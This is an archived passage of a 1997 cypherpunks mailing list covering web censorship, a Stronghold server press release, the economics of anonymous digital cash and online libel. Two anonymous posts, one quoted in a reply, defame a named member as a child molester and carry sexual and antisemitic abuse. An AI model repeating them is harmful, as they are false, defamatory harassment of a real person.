> > Radikal, but giving any credit or attribution to XS4ALL seems to be a
> > poor choice.
> 
> My understanding is that Radikal is a harmless, toothless liberal rag
> that the Germans had no grounds for censoring in the first place.
> Mirroring it is no big deal. How about mirroring the MJ page that
> the bastards at XS4ALL censored?

I actually went to the page once, nearly brought some bud but as I recall 
they didn`t have an SSL link so I chose not to transmit my CCN.

I don`t have a copy, but if XS4ALL have any balls at all they will send 
us a copy. I`ll get onto them about this later.

> Actually, I don't think mirroring is a good technology either.
> The "eternal server" posted a few days ago seems VERY VERY promising,
> I'm very exited about this technology - many many thanks.

No, it isn`t really but was, for all intents and purposes, the best we 
had. I haven`t yet seen the eternal server idea but I`ll trawl the 
archives for it.


Paul "Can`t really be bothered to re-do his .sig file yet" Bradley






From sameer at c2.net  Sun May  4 09:57:12 1997
From: sameer at c2.net (sameer)
Date: Mon, 5 May 1997 00:57:12 +0800
Subject: Full Strength Stronghold 2.0 Released Worldwide
Message-ID: <199705041637.JAA10872@gabber.c2.net>


For Release May 5, 1997
C2Net Software: Douglas Barnes +1 510 986 8770
UK Web: Dave Williams +44 113 222 0046 

	   Full-Strength Stronghold 2.0 Released Worldwide
     C2Net President Sameer Parekh Rejects Weak Keys, Back Doors

Oakland, CA - C2Net Software, Inc. annouced today the worldwide
availability of Stronghold 2.0, a major upgrade to their secure web
server based on Apache. With this release, Stronghold has added more
functionality than ever, including uncompromised security, web-based
configuration, and new protocol support.

"The Stronghold web server -- like all C2Net products -- supports
full-sized keys, and will never support government back doors," said
C2Net president Sameer Parekh. "We have development teams around the
globe working on our products, free from US export control
policy. Even if some of these countries cave in to US demands, we'll
still be able to produce first-rate, uncompromised security products."

Others Use Compromised Security

In a recent announcement, Netscape Communications announced plans to
include government back doors in their products. "By implementing this
so-called 'key recovery', Netscape is getting a small increase in key
length in exchange for putting your keys in the hands of the
government," said Parekh. "This the same government that hired Aldrich
Ames, the same goverment that has IRS employees surfing taxpayer
databases at will. What do you think is going to happen to your keys?"

According to cryptography expert Bruce Schneier, "There is absolutely
no business case for key recovery. Any benefit you get from longer key
lengths is offset by the enormous security risk of concentrating keys
in a few hands."

Current "export" versions of Netscape and Microsoft web servers use a
weak 40-bit cipher that can be broken in hours by any bored systems
administrator or college student with access to a few hundred idle
machines. By comparison, all C2Net software can use at least 128-bit
keys.

To understand this difference, imagine that the hundreds of computers
needed to crack a 40 bit key in a few hours were compressed into a
cube an inch on a side, and you built a computer the size of the Earth
out of these cubes, it would still take this computer more than four
times as long to crack a 128 bit key. It's easy to find a few hundred
computers idle at any medium-sized business or university; Earth-sized
computers are still relatively uncommon.

Stronghold Gaining Market Share

In several recent surveys, Stronghold has emerged as a leading
contender in the web server market. An O'Reilly and
Associates/Netcraft survey of secure web servers in use on the
Internet found that Stronghold was second only to Netscape. The
monthly Netcraft survey of all web servers on the Internet has
indicated for some time that Stronghold is also the second most
popular commercial web server for the Unix platform.

"We've been steadily gaining market share," indicated Parekh, "and to
a great extent it's due to our firm stand that we won't sell
deliberately weakened security products to our customers."

Features in Stronghold 2.0

"We've redesigned the security interfaces and built on the new Apache
1.2 code base," commented Mark Cox, Stronghold product manager at UK
Web. "Stronghold has had many productivity and performance
enhancements and it is now fully compliant with the new HTTP/1.1
standard." The HTTP/1.1 standard is a significant update to HTTP/1.0,
the protocol that governs how web browsers and web servers
communicate.

HTTP/1.1 brings many new features to the table, including improved
content and language negotiation, improved persistent connections, and
better recovery from interrupted transfers. (For more information on
HTTP/1.1, see http://www.apacheweek.com/features/http11)

Stronghold 2.0 also includes a web-based configuration manager,
allowing web administrators to securely administer their sites from
the web browser of their choice. "We've had a lot of requests for this
feature as Stronghold has grown in popularity," said Douglas Barnes,
C2Net Vice President.

On the security front, the new release includes support for Secure
Sockets Layer (SSL) version 3, which provides stronger security and
more flexibility in choosing ciphers.

Background

UK Web Limited is a leading Internet services company specialising in
server technology, Internet security, business solutions and effective
site design.

C2Net is the leading worldwide provider of uncompromised network
security software.

Netscape Navigator and Netscape Enterprise are trademarks of Netscape
Communications Corporation. Microsoft Internet Explorer and Microsoft
Internet Information Server are trademarks of Microsoft Corporation.
Stronghold and SafePassage are trademarks of C2Net Software, Inc.

Portions of Stronghold were developed by the Apache Group, and were
taken with permission from the Apache Server http://www.apache.org/.
Stronghold also includes software developed by Eric Young
(eay at cryptsoft.com).







From mpd at netcom.com  Sun May  4 10:20:09 1997
From: mpd at netcom.com (Mike Duvos)
Date: Mon, 5 May 1997 01:20:09 +0800
Subject: Rape, death and XS4ALL
In-Reply-To: 
Message-ID: <199705041702.KAA18066@netcom20.netcom.com>


Paul Bradley writes:

> Just to give you some overview of the fuck ups we now have governing the 
> UK I present a list of proposals Tony Blair and his motley crew have made in 
> the last year:

> Mandatory minimum sentencing for repeat offenders regardless of the 
> opinion of the judge.

> State set curfews for all children under 16 regardless of their parents 
> wishes.

> Parents to be held responsible for the crimes of their children if the 
> children repeat offend.

> Several vague allusions towards internet censorship schemes or mandatory 
> web page rating using PICS.

> Minimum wage for full time employees, regardless of the empolyees skills 
> or the wishes of the employer.

> Further action to prevent "bias" and "discrimination" in the workplace, 
> eg. "Employ this unskilled [racially insensitive term] and we`ll lower 
> your corporation tax 2%"

> Further plans for yet more CCTV cameras in public places.

> Mandatory ID cards for citizens (This one sounds like a joke, believe me 
> it is not).

> A ban on all handguns even when registered (currently all pistols above 
> .22 are banned and all guns have to be registered in a process whereby if 
> the applicant for a certificate has any history of political dissention 
> or crime (eg. Smoking a joint, the ultimate sin against society) the 
> certificate will be refused.

> Yet more spending on welfare to support the pieces of shit in the gutter 
> I pass every day.

Blair has learned his Clinton lessons well.  When I see the evolution
of so-called multi-party systems where all candidates will fuck with
your rights equally well, it makes me wax fondly back to the old Soviet
Union.  Although there was only one party, the citizens were at least
able to vote "None of the Above."

I wonder how many seats would be filled in our government if the last
step in the electoral process was a ratification of a single candidate
by the voters.  

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $






From hal at rain.org  Sun May  4 11:41:52 1997
From: hal at rain.org (Hal Finney)
Date: Mon, 5 May 1997 02:41:52 +0800
Subject: Bypassing the Digicash Patents
Message-ID: <199705041819.LAA00411@crypt.hfinney.com>


It is hard to understand why a system where it is impossible to track
payments (Chaumian anonymity) is cheaper than one where it is possible
to do so, but we choose not to.  If avoiding tracking payments is cheaper
than tracking them, why wouldn't participants just not bother to track
them even when they theoretically could?

Granted, there are situations where taking away someone's options can make
him better off.  The classic example would be the Prisoner's Dilemma, which
I will assume people here are familiar with.  Given the choice to cooperate
or defect, standard analysis predicts that both players will defect.  Remove
that option, and they will be forced to cooperate, leading to a better
("lower cost") outcome for both.  The structure of the game forced them to
take advantage of an option which has the net result of costing them more.

The question is whether this kind of reasoning would apply financial
transactions.  Is it really true that taking away the option of tracking
transactions is going to save money overall?  Sure, not keeping records
is a priori going to be cheaper than keeping them, but the question is
how much the loss of those records is going to hurt you.

Presumably records are kept to protect against various risks.  Without
that protection, you need other means to control the risk.  But if those
means exist and they are cheaper than record-keeping, then again even
without anonymity it should be cheaper to use those methods in place of
the records.

I think we would need to see a more detailed explanation of exactly why
it is that people can't save money today by avoiding keeping records,
when they could do so if it were impossible to keep records.

(One possible explanation is that it would be a regulatory effect.
People are forced by the government to keep records, to their detriment,
that they would prefer not to keep.  With anonymous bearer certificates
it would not be possible to keep the records so people might hope to
escape the regulations.  However the problem with this reasoning is that
the same forces which require the record-keeping would be likely to ban
the use of instruments which prevent keeping records.)

Hal






From tcmay at got.net  Sun May  4 11:53:42 1997
From: tcmay at got.net (Tim May)
Date: Mon, 5 May 1997 02:53:42 +0800
Subject: digital cc transactions, digital checks vs real digital cash
In-Reply-To: 
Message-ID: 


At 11:08 AM -0800 5/3/97, Robert Hettinga wrote:
>At 3:10 am -0400 on 5/3/97, Bill Frantz wrote:

>> Carlsen Subaru in Palo Alto has signs in their sales offices notifying
>> people that their agreement with their bank prevents them from taking
>> credit cards in payment for cars.
>
>Hmmm. The operative concept in my paragraph was "peer-to-peer". I should
>have put "personally" in the last sentence, in between "you" and "sold",
>and it would have been much clearer.
>
>By the way, back when I was pond scum in Morgan Stanley's cage in Chicago,
>American Express Gold Cards had just come out. About the first month they
>were out, a commodities trader showed up at a local Rolls dealership and
>offered to pay for a brand new Corniche with one.
>
>The sales manager smiled, said "Yes sir", went to the phone, called Amex,
>and took the card.
>
>Probably apocryphal, but, hey, it's a great story.

I'm sure things like this happen every day.

As I mentioned just several days ago, I bought a Ford Explorer a few years
ago and put it on my VISA card. A Corniche costs a few times more, but the
principle is the same.

How large a purchase a user can put on his card depends on two things: his
credit line (and/or issuer policy) and of course the policies of the other
party. For some, their limit is $500, maybe even less. For others, like
"Gold" or "Platinum" or "Plutonium" card holders, the numbers are much
higher.

In my case, I can spend up to my maximum margin account borrowing level,
currently at about 50% of the value of my margin account (my stocks,
investments, etc.).

So, I could use my VISA card to buy a geodesic dome in this geodesic
economy. Not that I'd want to.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From ichudov at algebra.com  Sun May  4 12:45:20 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Mon, 5 May 1997 03:45:20 +0800
Subject: Rape, death and XS4ALL
In-Reply-To: <199705041702.KAA18066@netcom20.netcom.com>
Message-ID: <199705041925.OAA30688@manifold.algebra.com>


Mike Duvos wrote:
> Paul Bradley writes:
> > A ban on all handguns even when registered (currently all pistols above 
> > .22 are banned and all guns have to be registered in a process whereby if 
> > the applicant for a certificate has any history of political dissention 
> > or crime (eg. Smoking a joint, the ultimate sin against society) the 
> > certificate will be refused.

What would be an example of such political dissention?

	- Igor.






From azur at netcom.com  Sun May  4 13:41:41 1997
From: azur at netcom.com (Steve Schear)
Date: Mon, 5 May 1997 04:41:41 +0800
Subject: Bypassing the Digicash Patents
Message-ID: 


>Bob Hettinga wrote:
>I strongly beleive that you can easily knock three, maybe four, decimal
>places off the cost of any transaction you can care to mention just by
>using strong financial cryptography and anonymous digital bearer
>certificates on a ubiquitous geodesic network.

Although I stongly share your overall beliefs in the superiority of digital
bearer certificates (DBC), I am much less certain about the intrinsic
financial cost differentials.

Let's first consider credit cards (CCs). Consumers using CCs, if they
choose their bank/agent carefully and settle their monthly statements in
full and promptly, pay nothing (directly) for the priviledge of using the
cards.  One can argue that merchants build the cost of their CC transaction
clearance costs into their price structure and therefore every patron,
whether using cash or CC, pay for the costs of CC usage (few merchants
offer cash discounts).  Most walk-in retail merchants, in good standing,
pay about 2% in discount (fees).  On-line and mail order merchants pay
about 3% as do those with a higher rate of chargebacks and/or in grey
businesses (e.g., on-line gaming and adult entertainment).  These fees
represent the costs of operating the CC clearing system (MC, VISA, AMEX,
etc.) the bank's overhead and profit.

Now let's look at Automatic Clearing House (ACH). ACH is a Federal Reserve
service offered by 18,000 financial institutions to 40,000 corporations and
generating 2.5 billion transaction per year.  It is used by business to pay
employees (automatic payroll deposit), automatic debt of consumer checking
accounts (periodic payments) and business-to-business transactions (a
primitive EDI). Costs of the service are born entirely by the business and
rates vary considerably, depending upon volume and depth of business
relationship with the bank or service company (e.g., ADP) and how much of
the ACH pre-process work is automated or performed by the business.
Charges are generally below $0.25 per transaction.

The amount of back office processing required for ACH is not inherently
different than for CCs.  However, there is a significant difference in
amount of marketing and distribution costs.  It is not unusual for a bank
to pay $50-60 to acquire a new CC customer.  Compared to the massive CC
consumer branding campaigns, there's not much marketing overhead in ACH.
Whereas ACH is highly automated and all report generation is already
included in the checking account fees (both business and consumer), CCs are
often an additional and costly overhead.  This is one reason the larger
banks have been moving to integrate their consumer relationships into a
single monthly statement (e.g., Citibank's "CitiOne").  When clients are
convinced that electronic statements over the Net are acceptable this
overhead will shrink considerably for both services, but will not be
anywhere near zero.  Will DBC systems will have lower marketing costs than
CC or ACH serving similar customer bases and applications?  I think not.
Indeed, the case could be made that in order for DBC to gain widespread
acceptance over ACH or CC marketing expeditures might need to be
consideable.

It is not clear that the back office costs of running a mint are any
cheaper than a book-entry system (e.g., control and auditing requirements
to meet Generally Accepted Accounting Principles and establish/maintain
trust) and you still need the book-entry system to occassionally transfer
value; to the extent that digital bearer certificates become accepted as
legal tender costs should decline, but the regulatory issues increase.
However, the ACH and CC system's prices reflect the substantial Fed and CC
backbone cost and profit to run their private networks, and it is here that
costs for on-line digital bearer certificate systems will have and edge for
some time.

When one combines the transactional economic advantages of DBC: no customer
accounts, statement generation, little or no need for dispute resolution
and the economies of using the Net for settlement, with the still
considerable marketing costs, the likely differential between DBC and
CC/ACH is closer to one order of magnitude at best.  This is still
considerable, however, and if properly branded and marketed could
significantly displace current competition, for lower value transactions.
The overhead of CC discounts is keenly watched by merchants.  If a trusted
DBC issuer/agent offered 1.0% fees (especially to on-line merchants) it
would get noticed quickly.

--Steve


PGP mail preferred
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Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
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CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        "I know not what instruments others may use,
         but as for me, give me Ecache or give me debt."







From tcmay at got.net  Sun May  4 14:13:47 1997
From: tcmay at got.net (Tim May)
Date: Mon, 5 May 1997 05:13:47 +0800
Subject: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: 


At 10:19 AM -0800 5/4/97, Hal Finney wrote:
>It is hard to understand why a system where it is impossible to track
>payments (Chaumian anonymity) is cheaper than one where it is possible
>to do so, but we choose not to.  If avoiding tracking payments is cheaper
>than tracking them, why wouldn't participants just not bother to track
>them even when they theoretically could?

I'll give a simple example, related to cash vs. other payment mechanism in
ordinary store transactions. The key is that traceable, identifiable
payments offer more opportunities for repudiation of debts, for increased
paperwork to handle such disputes, etc.

Concert tickets, at least here in California at BASS and similar outlets,
is a "cash and carry" proposition...no credit cards accepted. Why?
According to the clerks I've talked to over the years, cash and carry means
any cancellations of concerts forces the purchaser to arrange for a refund
either directly through the concert promoter or by arrangement at the
ticket office.

With repudiable (repudiatable?) payment systems, those involving promises
to pay or credit arrangements, one can "cancel a check" or notify VISA that
a charge is being disputed. These hassles ripple back through the system.

Thus, an "anonymous" (more precisely, a nonrepudiatable) transfer system is
cheaper for the seller.

(And such cash systems are almost certainly cheaper for merchants for other
types of transactions. Getting the money immediately has to be at least as
cheap as having checks, credit cards, tabs, etc. Obviously.)

Chaumian anonymity acts like this cash and carry system.

Also, from the merchant's point of view, having a system "where it is possible
to do so, but we choose not to" opens up the possibility of sting
operations, with a traceable records. I imagine most drug sellers would
prefer a system where no traceability can ever be turned on.

Of course the sellers and buyers may have differing judgments on the costs
and values of anonymity, depending on various factors.

--Tim May

Having said all this, I don't buy Bob Hettinga's "leap of faith" that
anonymous bearer instruments (or whatever he calls his geodesic things)
will automatically and obviously be cheaper than less anonymous
alternatives. For some things they will be, for others things they won't.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From real at freenet.edmonton.ab.ca  Sun May  4 14:19:19 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 5 May 1997 05:19:19 +0800
Subject: Firewalls
In-Reply-To: <199705041139.NAA19361@basement.replay.com>
Message-ID: 


On Sun, 4 May 1997, Anonymous wrote:

Vulis does you wife no you write this?

> Timmy Mayo the self-admitted child molester 
> possesses a rudimentary dick less than one 
> inch long, half the size of his mother's 
> clitoris, that barely makes a fistful. Thereby 
> hangs the root of this Jew-hating sissy's sick 
> fixation on little boys and Usenet forgeries.
> 
>          \|||/
>          (o o)
>      -ooO-(_)-Ooo- Timmy Mayo
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From bryce at digicash.com  Sun May  4 14:37:40 1997
From: bryce at digicash.com (Bryce)
Date: Mon, 5 May 1997 05:37:40 +0800
Subject: Value of the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <199705042126.XAA21662@digicash.com>



 A million monkeys operating under the pseudonym 
 "Hal Finney " typed:
>
> It is hard to understand why a system where it is impossible to track
> payments (Chaumian anonymity) is cheaper than one where it is possible
> to do so, but we choose not to.  If avoiding tracking payments is cheaper
> than tracking them, why wouldn't participants just not bother to track
> them even when they theoretically could?


This is an excellent question, Hal.  I've been thinking about it 
since I saw a similar post of yours earlier today.


> Granted, there are situations where taking away someone's options can make
> him better off.  The classic example would be the Prisoner's Dilemma, which
> I will assume people here are familiar with.  Given the choice to cooperate
> or defect, standard analysis predicts that both players will defect.  Remove
> that option, and they will be forced to cooperate, leading to a better
> ("lower cost") outcome for both.  The structure of the game forced them to
> take advantage of an option which has the net result of costing them more.


In the case where the problem of nymity is that one actor can later
prove the fact of the transaction, and this is a cost, I can see 
how the option of anonymity could make a cheaper transaction 
possible.  However, I think that this is _not_ the case that Robert
Hettinga is interested in.  I think the case that Bob is talking 
about is when the cost is the possibility of incurring legal 
liability from the transaction.


So it is true that _if_ the transactions were unconditionally 
anonymous, _then_ you would not have the costs of legal liability,
but it does not follow that anonymity is the _only_ way to avoid 
the cost.


Frankly, I think the best way to avoid that cost in the forseeable
future is the time-tested method of saying "I make no warranties, 
etc. etc. and incur no contractual obligation blah blah and so 
forth.", as part of your deal.


I think this can be accomplished done without using any 
cryptographic technique more complicated than simple 
authentication.


Regards,

Zooko Journeyman

Disclaimers follow:  I am not a crook.  NOT speaking for DigiCash 
or any other person or organization.  No PGP sig follows.






From azur at netcom.com  Sun May  4 16:41:45 1997
From: azur at netcom.com (Steve Schear)
Date: Mon, 5 May 1997 07:41:45 +0800
Subject: Ebonics: The Finale
Message-ID: 


Oakland school officials drop ebonics references

Associated Press

OAKLAND, Calif.-The Oakland public schools African American Task Force has
dropped all references to ebonies in a final report about improving
education for black students.

The district caused a national controversy four months ago when it
suggested that ebonies, or black English, was a second language that is
"genetically based."

The final report, obtained by The Oakland Tribune, still emphasizes
improving black students' language skills, but it makes no reference to
ebonies.

There is also no reference to black students speaking a separate language.
And provisions suggesting the district pursue federal bilingual funding for
black students, as it does for children who speak Spanish or Chinese at
home, have been deleted.

The U S. Department of Education quickly dismissed the latter idea when it
was raised in December.

Instead, the 17-page report calls for better language and reading programs,
additional tests to measure the language skills of students who speak black
English, and expansion of the Standard English Proficiency program.

The task force says the district should aggressively recruit black teachers
and offer help to black teachers who have not passed the state teaching
exam.

The task force also recommends hiring a coordinator specifically to improve
the education of black students and a budget of nearly $2 million over five
years to achieve the goals.

The task force's work is an attempt to improve the dismal record of
Oakland's black students. Black students, who represent 53 percent of the
district, make up 71 percent of special education classes, 37 percent of
gifted classes and 80 percent of suspensions.

--end

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur at netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "Without censorship, things can get terribly confused in the
       public mind."
       -General William Westmoreland







From nobody at huge.cajones.com  Sun May  4 16:53:31 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 5 May 1997 07:53:31 +0800
Subject: [STEGO] One-time pads
Message-ID: <199705042340.QAA09356@fat.doobie.com>


Timmy C. Mayonnaise sexually molests little children, farm 
animals, and inanimate objects.

     < >            < >
      V    )_.._(    V Timmy C. Mayonnaise
      \\   <____>   //
        ~ <______> ~      >
        /~\______/~\     //
        /~\_____/~\     /_\
        /~\____/~\     /_\
         /~\___/\~\  _/_\/
            \___/\__/__\/
              \___/__\/






From dlv at bwalk.dm.com  Sun May  4 19:10:17 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 5 May 1997 10:10:17 +0800
Subject: Full Strength Stronghold 2.0 Released Worldwide
In-Reply-To: <199705041637.JAA10872@gabber.c2.net>
Message-ID: 


sameer  writes:

> For Release May 5, 1997
> C2Net Software: Douglas Barnes +1 510 986 8770
> UK Web: Dave Williams +44 113 222 0046
>
> 	   Full-Strength Stronghold 2.0 Released Worldwide
>      C2Net President Sameer Parekh Rejects Weak Keys, Back Doors
>
> Oakland, CA - C2Net Software, Inc. annouced today the worldwide
> availability of Stronghold 2.0, a major upgrade to their secure web
> server based on Apache. With this release, Stronghold has added more
> functionality than ever, including uncompromised security, web-based
> configuration, and new protocol support.

Remember: if you comment on the fact that one can't examine this
product's source code for security holes, you'll get threatening
letters from C2Net's lawyers: Helena Kobrin, Cantor, & Siegel.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dogbertmailer at yoyo.com  Sun May  4 19:23:48 1997
From: dogbertmailer at yoyo.com (The Dilbert Trivia Game)
Date: Mon, 5 May 1997 10:23:48 +0800
Subject: Thanks for signing up!
Message-ID: <9705050156.AA188125@gomez.yoyo.com>


Hi from Yoyodyne!

This message is to let you know that you're signed
up for The Dilbert Trivia Game.

Welcome!

You'll get questions e-mailed to you on Tuesdays, your
answers are due back by 11 p.m. Eastern Time on Sundays, and
you'll get your scoring messages on Mondays. It's that
simple.

When your questions come, you'll be asked to send your
answers to dogbert at yoyo.com in this format:

* Make sure your Player ID -- which looks like this
(123456di) -- is on the Subject line of the message you send
back with your answers.

* Each answer must be preceded by one of these symbols #
and each answer must be on its own line.

* Each answer must be the letter of the multiple choice
answer you like best. Let's repeat. The answer is the letter
of the multiple choice selection you like best.

It works like this: If one of the questions asks for the
name of the evil human resources director, we'll say:

"What is the name of the evil human resources director?"

Then we'll list these choices:

A -- Catbert
B -- Ratbert
C -- Dogbert

You know that Catbert is the evil human resources director,
so you'll send back e-mail with your Player ID in the
Subject line, and a multiple choice selection in the body of
the message that look like this:

# A

That's pretty much all there is to it.

For all the fine print on how to play, the schedule, etc.,
e-mail these addresses for the autoreply of your choice:

How to Play -- dogberthow at yoyo.com
Official Rules -- dogbertrules at yoyo.com
FAQ -- dogbertfaq at yoyo.com

Talk to you soon!

P.S. We promised you an answer to this sample question when
you signed up:

* * *

Dilbert is worried that if head count is reduced by 50
percent, all the smart people will leave

The boss says:

A -- Would that be a bad thing?
B -- If only half the people go, how could that be all the
smart people?
C -- Could you organize a goodbye potluck lunch for them

The correct answer is #C.

---
Yoyodyne Entertainment
"Where the future begins...tomorrow."
win at yoyo.com






From gbroiles at netbox.com  Sun May  4 19:54:55 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Mon, 5 May 1997 10:54:55 +0800
Subject: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <3.0.1.32.19970504183109.02752718@pop.sirius.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 11:19 AM 5/4/97 -0700, Hal Finney wrote:

>Presumably records are kept to protect against various risks.  Without
>that protection, you need other means to control the risk.  But if those
>means exist and they are cheaper than record-keeping, then again even
>without anonymity it should be cheaper to use those methods in place of
>the records.
>
>I think we would need to see a more detailed explanation of exactly why
>it is that people can't save money today by avoiding keeping records,
>when they could do so if it were impossible to keep records.

I think what's important here is that the risks which are controlled/reduced
by keeping extra information are tied to the payment method(s) selected - for
example, most merchants try to get location/contact information when they
take a check, because there's some risk that the check will be returned
(sometimes in as long as 2-3 weeks) after the customer and the merchandise is
long gone. If checks cleared instantly, this wouldn't be necessary - and I
think merchants would forego collecting this information (they do now, for
physical cash purchases) because collecting it costs extra employee time,
storing/indexing it takes space/time, it annoys customers, and it leads to
some lost sales (where otherwise qualified customers are rejected because
their [lack of] credit/payment history makes them look like a bad risk).

The situation is similar for credit card purchases - the merchant doesn't
need to worry about tracking you down (because they'll get paid anyway, once
the transaction's been approved), but they do need to comply with the
requirements of their bank and the card issuer .. which include, if I
remember correctly, retaining the customer's signature (or notes of phone
authorization) for at least 60 days following the transaction. Big retailers
spend an enormous amount of time/energy/money keeping track of millions of
little slips of paper with people's signatures on them, and now they're
moving to expensive/complex/scary to consumers digital signature capture
systems.

Neither of these databases/filing systems is necessary for cash transactions,
and I can't think of a merchant who's tried to make me comply with them while
making a cash purchase. I don't think merchants are in a special hurry to
keep more information which isn't really interesting to them, anyway. 

So why do merchants take checks and credit cards, if they impose extra costs?
Because physical cash can be more expensive. Physical cash is difficult
because it (1) there's a risk of loss or theft/robbery, (2) keeping change on
hand is difficult/annoying, (3) it doesn't easily integrate with
accounting/inventory systems, (4) it's difficult to deal with in bulk. For
the most part, digital cash doesn't have these problems, but it doesn't have
the risk associated with repudiable payment methods (like checks and credit
cards), so it's not necessary to keep extra information to offset or reduce
that extra risk. 

So that's why digital cash wins, or ought to, if it's deployed before we're
all part of the Borg and privacy is irrelevant. 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM204O/37pMWUJFlhAQHUqwf9Ev3V5L42A674u6C5K0KJDwoxGqmjN8es
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Z9C+Bgfv0yGkTQ+uiBTdEgW+npTtRUGZcLBHEinCFqQuTt7fTKTq7x1IJL2NsBwP
P6zuMNzfnUUVs4kc426xjhVoH+E3wBMkaxLOPZjesnKw+dfWnlxgOD4c78/WtkLf
Gb3MwNzgH+NIpjBjdqVsYwBqldBBW7EQaD035sxj8gCLbNd0w7ej2ZWLEaIzxD96
j6gEfYXnN7pYhflYHRuP8du3wzg78kB+j5HvDfA+BqWjvfiuNuB0EA==
=EJFn
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 






From ravage at EINSTEIN.ssz.com  Sun May  4 21:02:01 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Mon, 5 May 1997 12:02:01 +0800
Subject: http:--www.cnn.com-TECH-9705-04-web.libel.ap-
Message-ID: <199705050307.WAA00242@einstein.ssz.com>


    CNN logo 
   navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Tech banner Puzzled about doing real business on the Web? 
   
     rule
     
              CAUTION: ANYTHING YOU POST MAY BE USED AGAINST YOU
                                       
      Libel May 4, 1997
     Web posted at: 9:51 p.m. EDT (0151 GMT)
     
     In this story:
     * When slander becomes libel
     * Privacy issues 
     * E-mail can make it a federal issue 
     * The wrath of large corporations 
       
     
     
     (AP) -- When the Founding Fathers wrote the First Amendment
     protectingfreedom of the press, they never imagined millions of
     Americanswould someday have their own version of one sitting in
     their backrooms.
     
     But with the advent of the World Wide Web, that's exactly whathas
     happened. And from this revolution has emerged a new legalquandary:
     Just what standards are private individuals to be held towhen it
     comes to what they "publish" on the millions of Web pagesand other
     online forums that serve as the world's soapbox?
     
     To a great extent, the answer thus far is this: No one knows.With
     the Web revolution less than 3 years old, a body of case lawhasn't
     yet been built up. But lawyers who study online issues dohave some
     observations -- and advice.
     
     
     
   When slander becomes libel
  
     
     
     First off, they note, the line between slander, once the realmof
     individuals, and libel, the bane of publishers, has beenblurred. It
     used to be that spreading malicious gossip aboutsomeone down at the
     barbershop could lead to charges of slander.But slander, by
     definition spoken, was hard to prove and generallydidn't reach
     enough people to do any major harm.
     
     Post that same information where it can be read by millionsonline,
     however, and you've suddenly entered the realm of libel --governed
     by stricter laws originally written to cover printpublications.
     
     "Let's face it," says Mark Rasch, director of informationsecurity
     law and policy at the Center for Information Protection atScience
     Applications International Corp. in McLean, Virginia. "If I wereto
     print up a handbill saying bad things about my neighbor thatwere
     false, at most I could distribute a couple of hundred of them.With
     the Web, I can now damage his reputation worldwide."
     
     The law is clear: Libel consists of publishing a false anddefamatory
     statement about an identifiable person, causing injuryto the
     subject's reputation. Often tied to it is the legal notionof
     defamation, defined as that which exposes a person to
     hatred,ridicule or contempt, causing them to be shunned or injuring
     theirbusiness or calling.
     
     Truth is always a defense against libel, so if your Web pagesays
     someone has two heads and they do, you're fine. But saythey're a
     murderer and you can expect someone to come asking forsome proof --
     and possibly a bill for damages if you don't have any.
     
     
     
   Privacy issues
  
